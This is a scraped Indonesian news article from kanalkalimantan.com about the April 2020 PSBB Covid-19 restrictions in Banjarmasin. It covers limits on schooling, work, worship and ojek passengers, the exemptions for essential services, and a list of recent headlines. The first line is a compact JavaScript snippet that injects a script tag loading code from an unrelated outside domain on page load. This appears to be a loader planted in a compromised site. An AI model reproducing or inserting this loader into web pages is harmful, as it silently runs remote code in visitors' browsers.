(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ini Hal-hal yang Dibatasi Selama PSBB di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Penerapan pembatasan sosial berskala besar (PSBB) di Kota Banjarmasin nantinya akan membatasi sejumlah aktivitas yang berpotensi mengumpulkan massa.

Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin Dr Machli Riyadi menjelaskan, Peraturan Wali Kota Banjarmasin Nomor 33 Tahun 2020, diatur pembatasan-pembatasan, seperti pembatasan aktivitas belajar mengajar baik di sekolah maupun di kampus, dan pembatasan aktivitas kerja. Sebagai gantinya, keduanya dilaksanakan di rumah.

“Pembatasan lainnya adalah kegiatan beribadah. Jadi, selama PSBB, untuk beribadah cukup di rumah saja,” ucap Machli di Balai Kota Banjarmasin, Kamis (23/4/2020) pagi.

Kegiatan ibadah yang dimaksud, berlaku baik di mesjid, musholla maupun gereja. Semua kegiatan ibadah di tempat itu, dihentikan sementara waktu selama 14 hari ke depan, terhitung dimulainya PSBB pada Jum’at (24/4/2020) besok.

“Nantinya akan kita evaluasi berdasarkan pertimbangan seluruh Tim Gugus Tugas di Banjarmasin,” lugasnya.

Tak hanya itu, pembatasan juga berlaku untuk transportasi ojek online. Di mana, pengemudi (driver) ojek online hanya diperbolehkan membawa barang atau makanan yang dipesan oleh masyarakat.

“Tidak boleh membawa penumpang, tapi membawa bahan makanan yang barangkali dipesan oleh masyarakat,” ucap Machli.

Namun demikian, ada sejumlah pengecualian. Machli mencontohkan, pekerja yang bekerja di instansi yang menangani kebutuhan pokok masyarakat dan layanan kesehatan.

“Termasuk perusahaan  yang menangani listrik, air, bahan bakar dan elpiji. Ini dikecualikan dalam PSBB ini,” pungkas Machli. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

1 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

3 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

4 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

5 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

6 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

6 jam ago

This website uses cookies.